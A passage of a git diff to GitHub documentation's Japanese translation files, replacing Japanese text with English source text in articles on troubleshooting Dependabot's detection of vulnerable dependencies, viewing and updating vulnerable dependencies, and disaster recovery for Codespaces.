dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)." - {% endif %}{% data variables.product.prodname_dependabot %}は、スケジュールに従ってではなく、何か変更があった場合にリポジトリを脆弱性のある依存関係を探してスキャンします。 たとえば、新しい依存関係が追加された場合（{% data variables.product.prodname_dotcom %}はすべてのプッシュについてこれをチェックします）や、新しい脆弱性がアドバイザリデータベースに追加され{% ifversion ghes or ghae-issue-4864 %}{% data variables.product.product_location %}に同期され{% endif %}たときに、スキャンがトリガーされます。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)」を参照してください。 +## Why don't I get vulnerability alerts for some ecosystems? -## 一部のエコシステムの脆弱性アラートが表示されないのはなぜですか？ +{% data variables.product.prodname_dotcom %} limits its support for vulnerability alerts to a set of ecosystems where we can provide high-quality, actionable data. Curated vulnerabilities in the {% data variables.product.prodname_advisory_database %}, the dependency graph, {% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %} security updates, {% endif %}and {% data variables.product.prodname_dependabot_alerts %} are provided for several ecosystems, including Java’s Maven, JavaScript’s npm and Yarn, .NET’s NuGet, Python’s pip, Ruby's RubyGems, and PHP’s Composer. We'll continue to add support for more ecosystems over time. For an overview of the package ecosystems that we support, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)." -{% data variables.product.prodname_dotcom %} では、脆弱性アラートのサポートを、高品質で実用的なデータを提供できる一連のエコシステムに限定しています。 {% data variables.product.prodname_advisory_database %}、依存関係グラフ、{% ifversion fpt or ghec %}、{% data variables.product.prodname_dependabot %} のセキュリティアップデート{% endif %}及び{% data variables.product.prodname_dependabot %}のアラート中のキュレーションされた脆弱性は、Java の Maven、JavaScript の npm と Yarn、.NET の NuGet、Python の pip、Ruby の RubyGems、PHP の Composer などのいくつかのエコシステムに提供されます。 今後も、より多くのエコシステムのサポートを追加していきます。 サポートされているパッケージエコシステムの概要については、「[依存関係グラフについて](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)」を参照してください。 +It's worth noting that {% data variables.product.prodname_dotcom %} Security Advisories may exist for other ecosystems. The information in a security advisory is provided by the maintainers of a particular repository. This data is not curated in the same way as information for the supported ecosystems. {% ifversion fpt or ghec %}For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."{% endif %} -{% data variables.product.prodname_dotcom %}セキュリティアドバイザリは他のエコシステムに対しても存在するかもしれないことには注意しておくとよいでしょう。 セキュリティアドバイザリの情報は、特定のリポジトリのメンテナによって提供されます。 このデータは、サポートされているエコシステムの情報と同じ方法でキュレーションされていません。 {% ifversion fpt or ghec %}詳しい情報については、「[{% data variables.product.prodname_dotcom %} のセキュリティアドバイザリについて](/github/managing-security-vulnerabilities/about-github-security-advisories)」を参照してください。{% endif %} +**Check**: Does the uncaught vulnerability apply to an unsupported ecosystem? -**チェック**: 未捕捉の脆弱性は、サポートされていないエコシステムに適用されますか？ +## Does the dependency graph only find dependencies in manifests and lockfiles? -## 依存関係グラフは、マニフェストとロックファイルの依存関係のみを検索しますか？ +The dependency graph includes information on dependencies that are explicitly declared in your environment. That is, dependencies that are specified in a manifest or a lockfile. The dependency graph generally also includes transitive dependencies, even when they aren't specified in a lockfile, by looking at the dependencies of the dependencies in a manifest file. -依存関係グラフには、環境で明示的に宣言されている依存関係に関する情報が含まれています。 つまり、マニフェストまたはロックファイルで指定されている依存関係です。 依存関係グラフには、通常、マニフェストファイル内の依存関係の依存関係を調べることにより、ロックファイルで指定されていない場合でも、推移的な依存関係も含まれます。 +{% data variables.product.prodname_dependabot_alerts %} advise you about dependencies you should update, including transitive dependencies, where the version can be determined from a manifest or a lockfile. {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} only suggest a change where {% data variables.product.prodname_dependabot %} can directly "fix" the dependency, that is, when these are: +* Direct dependencies explicitly declared in a manifest or lockfile +* Transitive dependencies declared in a lockfile{% endif %} -{% data variables.product.prodname_dependabot_alerts %} は、推移的な依存関係を含め、更新する必要のある依存関係についてアドバイスします。この場合、バージョンはマニフェストまたはロックファイルから判別できます。 {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %}は、{% data variables.product.prodname_dependabot %}が直接「修復」できる、依存関係が以下のような場合にのみ変更を提案します。 -* マニフェストまたはロックファイルで明示的に宣言されている直接依存関係 -* ロックファイルで宣言されている推移的な依存関係{% endif %} +The dependency graph doesn't include "loose" dependencies. "Loose" dependencies are individual files that are copied from another source and checked into the repository directly or within an archive (such as a ZIP or JAR file), rather than being referenced by in a package manager’s manifest or lockfile. -The dependency graph doesn't include "loose" dependencies. "Loose" dependencies are individual files that are copied from another source and checked into the repository directly or within an archive (such as a ZIP or JAR file), rather than being referenced by in a package manager’s manifest or lockfile. +**Check**: Is the uncaught vulnerability for a component that's not specified in the repository's manifest or lockfile? -**チェック**: リポジトリのマニフェストまたはロックファイル内で指定されていないコンポーネントに対する未捕捉の脆弱性はありますか？ +## Does the dependency graph detect dependencies specified using variables? -## 依存関係グラフは、変数を使用して指定された依存関係を検出しますか？ +The dependency graph analyzes manifests as they’re pushed to {% data variables.product.prodname_dotcom %}. The dependency graph doesn't, therefore, have access to the build environment of the project, so it can't resolve variables used within manifests. If you use variables within a manifest to specify the name, or more commonly the version of a dependency, then that dependency will not be included in the dependency graph. -依存関係グラフは、マニフェストが {% data variables.product.prodname_dotcom %} にプッシュされるときにマニフェストを分析します。 したがって、依存関係グラフはプロジェクトのビルド環境にアクセスできないため、マニフェスト内で使用される変数を解決できません。 マニフェスト内で変数を使用して名前、またはより一般的には依存関係のバージョンを指定する場合、その依存関係は依存関係グラフに含まれません。 +**Check**: Is the missing dependency declared in the manifest by using a variable for its name or version? -**チェック**: 見つからない依存関係は、名前またはバージョンに変数を使用してマニフェストで宣言されていますか？ +## Are there limits which affect the dependency graph data? -## 依存関係グラフのデータに影響する制限はありますか？ +Yes, the dependency graph has two categories of limits: -はい、依存関係グラフの制限には 2 つのカテゴリがあります。 +1. **Processing limits** -1. **処理制限** + These affect the dependency graph displayed within {% data variables.product.prodname_dotcom %} and also prevent {% data variables.product.prodname_dependabot_alerts %} being created. - これらは {% data variables.product.prodname_dotcom %} 内に表示される依存関係グラフに影響を与え、{% data variables.product.prodname_dependabot_alerts %} が作成されないようにします。 + Manifests over 0.5 MB in size are only processed for enterprise accounts. For other accounts, manifests over 0.5 MB are ignored and will not create {% data variables.product.prodname_dependabot_alerts %}. - サイズが 0.5 MB を超えるマニフェストは、Enterprise アカウントに対してのみ処理されます。 他のアカウントの場合、0.5 MB を超えるマニフェストは無視され、{% data variables.product.prodname_dependabot_alerts %} は作成されません。 + By default, {% data variables.product.prodname_dotcom %} will not process more than 20 manifests per repository. {% data variables.product.prodname_dependabot_alerts %} are not created for manifests beyond this limit. If you need to increase the limit, contact {% data variables.contact.contact_support %}. - デフォルト設定では、{% data variables.product.prodname_dotcom %} はリポジトリごとに 20 個を超えるマニフェストを処理しません。 {% data variables.product.prodname_dependabot_alerts %} are not created for manifests beyond this limit. 制限を増やす必要がある場合は、{% data variables.contact.contact_support %} にお問い合わせください。 +2. **Visualization limits** -2. **表示制限** + These affect what's displayed in the dependency graph within {% data variables.product.prodname_dotcom %}. However, they don't affect the {% data variables.product.prodname_dependabot_alerts %} that are created. - これらは、{% data variables.product.prodname_dotcom %} 内の依存関係グラフに表示される内容に影響します。 ただし、作成された {% data variables.product.prodname_dependabot_alerts %} には影響しません。 + The Dependencies view of the dependency graph for a repository only displays 100 manifests. Typically this is adequate as it is significantly higher than the processing limit described above. In situations where the processing limit is over 100, {% data variables.product.prodname_dependabot_alerts %} are still created for any manifests that are not shown within {% data variables.product.prodname_dotcom %}. - リポジトリの依存関係グラフの依存関係ビューには、100 個のマニフェストのみが表示されます。 通常、これは上記の処理制限よりも大幅に高いので十分です。 処理制限が100 個を超える状況でも、{% data variables.product.prodname_dotcom %} 内に表示されていないマニフェストに対して {% data variables.product.prodname_dependabot_alerts %} が作成されます。 +**Check**: Is the missing dependency in a manifest file that's over 0.5 MB, or in a repository with a large number of manifests? -**チェック**: 0.5 MB を超えるマニフェストファイル、または多数のマニフェストがあるリポジトリに見つからない依存関係はありませんか？ +## Does {% data variables.product.prodname_dependabot %} generate alerts for vulnerabilities that have been known for many years? -## {% data variables.product.prodname_dependabot %} は、何年も前から知られている脆弱性に対してアラートを生成しますか？ +The {% data variables.product.prodname_advisory_database %} was launched in November 2019, and initially back-filled to include vulnerability information for the supported ecosystems, starting from 2017. When adding CVEs to the database, we prioritize curating newer CVEs, and CVEs affecting newer versions of software. -{% data variables.product.prodname_advisory_database %} は 2019 年 11 月にリリースされ、2017 年からサポートされているエコシステムの脆弱性情報を含めるために当初にバックフィルされました。 データベースに CVE を追加するときは、新しい CVE のキュレーションと、新しいバージョンのソフトウェアに影響を与える CVE を優先します。 +Some information on older vulnerabilities is available, especially where these CVEs are particularly widespread, however some old vulnerabilities are not included in the {% data variables.product.prodname_advisory_database %}. If there's a specific old vulnerability that you need to be included in the database, contact {% data variables.contact.contact_support %}. -古い脆弱性に関するいくつかの情報は、特にこれらの CVE が特に広範囲に及ぶ場合に利用可能ですが、一部の古い脆弱性は {% data variables.product.prodname_advisory_database %} に含まれていません。 データベースに含める必要のある特定の古い脆弱性がある場合は、{% data variables.contact.contact_support %} にお問い合わせください。 +**Check**: Does the uncaught vulnerability have a publish date earlier than 2017 in the National Vulnerability Database? -**チェック**: 未捕捉の脆弱性の公開日は、National Vulnerability Database で 2017 年より前ですか？ +## Why does {% data variables.product.prodname_advisory_database %} use a subset of published vulnerability data? -## {% data variables.product.prodname_advisory_database %} が公開された脆弱性データのサブセットを使用するのはなぜですか？ +Some third-party tools use uncurated CVE data that isn't checked or filtered by a human. This means that CVEs with tagging or severity errors, or other quality issues, will cause more frequent, more noisy, and less useful alerts. -一部のサードパーティツールは、人間によるチェックまたはフィルタが行われていない未キュレートの CVE データを使用しています。 これは、タグ付けや重要度のエラー、またはその他の品質に問題のある CVE により、わずらわしく有用性の低いアラートが頻出するということです。 - -{% data variables.product.prodname_dependabot %} は {% data variables.product.prodname_advisory_database %} で厳選されたデータを使用するため、アラートの数は少なくなる可能性があります。ただし、受信するアラートは正確で関連性があるものです。 +Since {% data variables.product.prodname_dependabot %} uses curated data in the {% data variables.product.prodname_advisory_database %}, the volume of alerts may be lower, but the alerts you do receive will be accurate and relevant. {% ifversion fpt or ghec %} -## 依存関係の脆弱性ごとに個別のアラートが生成されますか？ +## Does each dependency vulnerability generate a separate alert? -依存関係に複数の脆弱性がある場合、脆弱性ごとに 1 つのアラートではなく、その依存関係に対して 1 つの集約アラートのみが生成されます。 +When a dependency has multiple vulnerabilities, only one aggregated alert is generated for that dependency, instead of one alert per vulnerability. -{% data variables.product.prodname_dependabot_alerts %} の {% data variables.product.prodname_dotcom %} の数は、アラートの数、つまり脆弱性の数ではなく、脆弱性のある依存関係の合計数を示します。 +The {% data variables.product.prodname_dependabot_alerts %} count in {% data variables.product.prodname_dotcom %} shows a total for the number of alerts, that is, the number of dependencies with vulnerabilities, not the number of vulnerabilities. -![{% data variables.product.prodname_dependabot_alerts %} ビュー](/assets/images/help/repository/dependabot-alerts-view.png) +![{% data variables.product.prodname_dependabot_alerts %} view](/assets/images/help/repository/dependabot-alerts-view.png) -クリックしてアラートの詳細を表示すると、アラートに含まれている脆弱性の数を確認できます。 +When you click to display the alert details, you can see how many vulnerabilities are included in the alert. -![{% data variables.product.prodname_dependabot %} アラートに対する複数の脆弱性](/assets/images/help/repository/dependabot-vulnerabilities-number.png) +![Multiple vulnerabilities for a {% data variables.product.prodname_dependabot %} alert](/assets/images/help/repository/dependabot-vulnerabilities-number.png) -**チェック**: 表示されている合計に不一致がある場合は、アラート番号と脆弱性番号を比較していないかどうか確認してください。 +**Check**: If there is a discrepancy in the totals you are seeing, check that you are not comparing alert numbers with vulnerability numbers. {% endif %} -## 参考リンク +## Further reading -- 「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」 -- [リポジトリ内の脆弱な依存関係を表示・更新する](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository) -- 「[リポジトリのセキュリティ及び分析設定の管理](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)」{% ifversion fpt or ghec or ghes > 3.2 %} -- 「[{% data variables.product.prodname_dependabot %}エラーのトラブルシューティング](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)」{% endif %} +- "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" +- "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" +- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"{% ifversion fpt or ghec or ghes > 3.2 %} +- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md index 11b3a64d93..c2a6b0c128 100644 --- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md +++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md @@ -1,6 +1,6 @@ --- -title: リポジトリ内の脆弱な依存関係を表示・更新する -intro: '{% data variables.product.product_name %} がプロジェクト内の脆弱性のある依存関係を発見した場合は、それらをリポジトリの [Dependabot alerts] タブで確認できます。 その後、プロジェクトを更新してこの脆弱性を解決することができます。' +title: Viewing and updating vulnerable dependencies in your repository +intro: 'If {% data variables.product.product_name %} discovers vulnerable dependencies in your project, you can view them on the Dependabot alerts tab of your repository. Then, you can update your project to resolve or dismiss the vulnerability.' redirect_from: - /articles/viewing-and-updating-vulnerable-dependencies-in-your-repository - /github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository @@ -25,53 +25,60 @@ topics: {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -リポジトリの{% data variables.product.prodname_dependabot %}アラートタブには、オープン及びクローズされたすべての{% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %}及び対応する{% data variables.product.prodname_dependabot_security_updates %}{% endif %}がリストされます。 You can sort the list of alerts by selecting the drop-down menu, and you can click into specific alerts for more details. 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」を参照してください。 +Your repository's {% data variables.product.prodname_dependabot_alerts %} tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. You can sort the list of alerts by selecting the drop-down menu, and you can click into specific alerts for more details. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." {% ifversion fpt or ghec or ghes > 3.2 %} -{% data variables.product.prodname_dependabot_alerts %} と依存関係グラフを使用するリポジトリの自動セキュリティ更新を有効にすることができます。 詳しい情報については、「[{% data variables.product.prodname_dependabot_security_updates %} について](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)」を参照してください。 +You can enable automatic security updates for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)." {% endif %} {% data reusables.repositories.dependency-review %} {% ifversion fpt or ghec or ghes > 3.2 %} -## リポジトリ内の脆弱性のある依存関係の更新について +## About updates for vulnerable dependencies in your repository -コードベースが既知の脆弱性のある依存関係を使用していることを検出すると、{% data variables.product.product_name %} は {% data variables.product.prodname_dependabot_alerts %} を生成します。 {% data variables.product.prodname_dependabot_security_updates %} が有効になっているリポジトリの場合、{% data variables.product.product_name %} がデフォルトのブランチで脆弱性のある依存関係を検出すると、{% data variables.product.prodname_dependabot %} はそれを修正するためのプルリクエストを作成します。 Pull Requestは、脆弱性を回避するために必要最低限の安全なバージョンに依存関係をアップグレードします。 +{% data variables.product.product_name %} generates {% data variables.product.prodname_dependabot_alerts %} when we detect that your codebase is using dependencies with known vulnerabilities. For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, when {% data variables.product.product_name %} detects a vulnerable dependency in the default branch, {% data variables.product.prodname_dependabot %} creates a pull request to fix it. The pull request will upgrade the dependency to the minimum possible secure version needed to avoid the vulnerability. {% endif %} -## 脆弱性のある依存関係を表示して更新する +## Viewing and updating vulnerable dependencies {% ifversion fpt or ghec or ghes > 3.2 %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-dependabot-alerts %} -1. 表示したいアラートをクリックします。 ![アラートリストで選択されたアラート](/assets/images/help/graphs/click-alert-in-alerts-list.png) -1. 脆弱性の詳細を確認し、可能な場合は、自動セキュリティアップデートを含むプルリクエストを確認します。 -1. 必要に応じて、アラートに対する {% data variables.product.prodname_dependabot_security_updates %} アップデートがまだ入手できない場合、脆弱性を解決するプルリクエストを作成するには、[**Create {% data variables.product.prodname_dependabot %} security update**] をクリックします。 ![{% data variables.product.prodname_dependabot %} セキュリティアップデートボタンを作成](/assets/images/help/repository/create-dependabot-security-update-button.png) -1. 依存関係を更新して脆弱性を解決する準備ができたら、プルリクエストをマージしてください。 {% data variables.product.prodname_dependabot %} によって発行される各プルリクエストには、{% data variables.product.prodname_dependabot %} の制御に使用できるコマンドの情報が含まれています。 詳しい情報については、「[依存関係の更新に関するプルリクエストを管理する](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands) 」を参照してください。 -1. Optionally, if the alert is being fixed, if it's incorrect, or located in unused code, select the "Dismiss" drop-down, and click a reason for dismissing the alert. ![[Dismiss] ドロップダウンでアラートを却下する理由を選択する](/assets/images/help/repository/dependabot-alert-dismiss-drop-down.png) +1. Click the alert you'd like to view. + ![Alert selected in list of alerts](/assets/images/help/graphs/click-alert-in-alerts-list.png) +1. Review the details of the vulnerability and, if available, the pull request containing the automated security update. +1. Optionally, if there isn't already a {% data variables.product.prodname_dependabot_security_updates %} update for the alert, to create a pull request to resolve the vulnerability, click **Create {% data variables.product.prodname_dependabot %} security update**. + ![Create {% data variables.product.prodname_dependabot %} security update button](/assets/images/help/repository/create-dependabot-security-update-button.png) +1. When you're ready to update your dependency and resolve the vulnerability, merge the pull request. Each pull request raised by {% data variables.product.prodname_dependabot %} includes information on commands you can use to control {% data variables.product.prodname_dependabot %}. For more information, see "[Managing pull requests for dependency updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)." +1. Optionally, if the alert is being fixed, if it's incorrect, or located in unused code, select the "Dismiss" drop-down, and click a reason for dismissing the alert. + ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/help/repository/dependabot-alert-dismiss-drop-down.png) {% elsif ghes > 3.0 or ghae-issue-4864 %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-dependabot-alerts %} -1. 表示したいアラートをクリックします。 ![アラートリストで選択されたアラート](/assets/images/enterprise/graphs/click-alert-in-alerts-list.png) -1. 脆弱性の詳細をレビューし、依存関係を更新する必要があるかを判断してください。 -1. 依存関係のセキュアなバージョンへマニフェストあるいはロックファイルを更新するPull Requestをマージすると、アラートは解決されます。 Alternatively, if you decide not to update the dependency, select the **Dismiss** drop-down, and click a reason for dismissing the alert. ![[Dismiss] ドロップダウンでアラートを却下する理由を選択する](/assets/images/enterprise/repository/dependabot-alert-dismiss-drop-down.png) +1. Click the alert you'd like to view. + ![Alert selected in list of alerts](/assets/images/enterprise/graphs/click-alert-in-alerts-list.png) +1. Review the details of the vulnerability and determine whether or not you need to update the dependency. +1. When you merge a pull request that updates the manifest or lock file to a secure version of the dependency, this will resolve the alert. Alternatively, if you decide not to update the dependency, select the **Dismiss** drop-down, and click a reason for dismissing the alert. + ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/enterprise/repository/dependabot-alert-dismiss-drop-down.png) {% else %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} {% data reusables.repositories.click-dependency-graph %} -1. 詳細な情報を表示する脆弱性のある依存関係のバージョン番号をクリックしてください。 ![脆弱性のある依存関係の詳細情報](/assets/images/enterprise/3.0/dependabot-alert-info.png) -1. 脆弱性の詳細をレビューして、更新する必要があるかを判断してください。 依存関係のセキュアなバージョンへマニフェストあるいはロックファイルを更新するPull Requestをマージすると、アラートは解決されます。 -1. **Dependencies（依存関係）**タブの上部のバナーは、脆弱性のある依存関係がすべて解決されるか、そのバナーを閉じるまで表示されます。 バナーの右上にある**Dismiss（却下）**をクリックして、アラートを却下する理由を選択してください。 ![セキュリティバナーを閉じる](/assets/images/enterprise/3.0/dependabot-alert-dismiss.png) +1. Click the version number of the vulnerable dependency to display detailed information. + ![Detailed information on the vulnerable dependency](/assets/images/enterprise/3.0/dependabot-alert-info.png) +1. Review the details of the vulnerability and determine whether or not you need to update the dependency. When you merge a pull request that updates the manifest or lock file to a secure version of the dependency, this will resolve the alert. +1. The banner at the top of the **Dependencies** tab is displayed until all the vulnerable dependencies are resolved or you dismiss it. Click **Dismiss** in the top right corner of the banner and select a reason for dismissing the alert. + ![Dismiss security banner](/assets/images/enterprise/3.0/dependabot-alert-dismiss.png) {% endif %} -## 参考リンク +## Further reading -- 「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」{% ifversion fpt or ghec or ghes > 3.2 %} -- 「[{% data variables.product.prodname_dependabot_security_updates %}の設定](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)」{% endif %} -- 「[リポジトリのセキュリティおよび分析設定を管理する](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)」 -- 「[脆弱性のある依存関係の検出のトラブルシューティング](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies)」{% ifversion fpt or ghec or ghes > 3.2 %} -- 「[{% data variables.product.prodname_dependabot %}エラーのトラブルシューティング](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)」{% endif %} +- "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %} +- "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)"{% endif %} +- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" +- "[Troubleshooting the detection of vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %} +- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} diff --git a/translations/ja-JP/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md b/translations/ja-JP/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md index 50808e3c03..71bac5b61d 100644 --- a/translations/ja-JP/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md +++ b/translations/ja-JP/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md @@ -1,6 +1,6 @@ --- -title: Codespaces のシステム災害復旧 -intro: この記事では、大規模な自然災害や広範囲にわたるサービスの中断により、地域全体で障害が発生した場合のシステム災害復旧シナリオのガイダンスについて説明します。 +title: Disaster recovery for Codespaces +intro: 'This article describes guidance for a disaster recovery scenario, when a whole region experiences an outage due to major natural disaster or widespread service interruption.' versions: fpt: '*' ghec: '*' @@ -10,42 +10,42 @@ topics: shortTitle: Disaster recovery --- -当社は、ユーザが {% data variables.product.prodname_codespaces %} をいつでも確実にご利用いただけるよう努力しています。 しかし、当社の管理できる範囲を超えてサービスに影響を及ぼし、計画外のサービスの中断を引き起こす不可抗力が発生する可能性があります。 +We work hard to make sure that {% data variables.product.prodname_codespaces %} is always available to you. However, forces beyond our control sometimes impact the service in ways that can cause unplanned service disruptions. -システム災害復旧シナリオはまれにしか発生しませんが、リージョン全体にわたる停止が発生する可能性に備えておくことをお勧めします。 リージョン全体でサービスが中断した場合、ローカルで冗長化されたデータのコピーは一時的に利用できなくなります。 +Although disaster recovery scenarios are rare occurrences, we recommend that you prepare for the possibility that there is an outage of an entire region. If an entire region experiences a service disruption, the locally redundant copies of your data would be temporarily unavailable. -次のガイダンスでは、codespace がデプロイされているリージョン全体へのサービスの中断を処理する方法を説明します。 +The following guidance provides options on how to handle service disruption to the entire region where your codespace is deployed. {% note %} -**注釈:** リモートリポジトリに頻繁にプッシュすることで、サービス全体の停止による潜在的な影響を減らすことができます。 +**Note:** You can reduce the potential impact of service-wide outages by pushing to remote repositories frequently. {% endnote %} ## Option 1: Create a new codespace in another region -In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. この新しい codespace には、{% data variables.product.prodname_dotcom %} への最後のプッシュ時点までのすべての変更が含まれます。 For information on manually setting another region, see "[Setting your default region for Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)." +In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. This new codespace will have all of the changes as of your last push to {% data variables.product.prodname_dotcom %}. For information on manually setting another region, see "[Setting your default region for Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)." -You can optimize recovery time by configuring a `devcontainer.json` in the project's repository, which allows you to define the tools, runtimes, frameworks, editor settings, extensions, and other configuration necessary to restore the development environment automatically. 詳しい情報については、「[プロジェクトの Codespaces を設定する](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)」を参照してください。 +You can optimize recovery time by configuring a `devcontainer.json` in the project's repository, which allows you to define the tools, runtimes, frameworks, editor settings, extensions, and other configuration necessary to restore the development environment automatically. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." -## オプション 2: リカバリを待つ +## Option 2: Wait for recovery -この場合、ユーザ側でのアクションは必要ありません。 当社がサービスの可用性をリストアするために作業を行います。 +In this case, no action on your part is required. Know that we are working diligently to restore service availability. You can check the current service status on the [Status Dashboard](https://www.githubstatus.com/). -## オプション 3: リポジトリをローカルでクローンする、またはブラウザで編集する +## Option 3: Clone the repository locally or edit in the browser -{% data variables.product.prodname_codespaces %} では事前構成された開発者環境を利用できるメリットがありますが、ソースコードは常に {% data variables.product.prodname_dotcom_the_website %} でホストされているリポジトリからアクセス可能である必要があります。 {% data variables.product.prodname_codespaces %} が停止した場合でも、リポジトリをローカルでクローンしたり、{% data variables.product.company_short %} ブラウザエディタでファイルを編集したりすることができます。 For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)." +While {% data variables.product.prodname_codespaces %} provides the benefit of a pre-configured developer environmnent, your source code should always be accessible through the repository hosted on {% data variables.product.prodname_dotcom_the_website %}. In the event of a {% data variables.product.prodname_codespaces %} outage, you can still clone the repository locally or edit files in the {% data variables.product.company_short %} browser editor. For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)." -このオプションでは開発環境を設定しませんが、サービスの中断が解決するのを待つ間、必要に応じてソースコードを変更できます。 +While this option does not configure a development environment for you, it will allow you to make changes to your source code as needed while you wait for the service disruption to resolve. -## オプション 4: ローカルのコンテナ化された環境にリモートコンテナとDockerを使用する +## Option 4: Use Remote-Containers and Docker for a local containerized environment -リポジトリに `devcontainer.json` がある場合は、Visual Studio Code の [Remote-Containers 機能拡張](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume)を使用して、リポジトリのローカル開発コンテナをビルドしてアタッチすることを検討してください。 このオプションのセットアップ時間は、ローカル仕様と開発コンテナセットアップの複雑さによって異なります。 +If your repository has a `devcontainer.json`, consider using the [Remote-Containers extension](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume) in Visual Studio Code to build and attach to a local development container for your repository. The setup time for this option will vary depending on your local specifications and the complexity of your dev container setup. {% note %} -**注釈:** このオプションを試す前に、ローカル設定が[最小要件](https://code.visualstudio.com/docs/remote/containers#_system-requirements)を満たしていることを確認してください。 +**Note:** Be sure your local setup meets the [minimum requirements](https://code.visualstudio.com/docs/remote/containers#_system-requirements) before attempting this option. {% endnote %} diff --git a/translations/ja-JP/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md b/translations/ja-JP/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md new file mode 100644 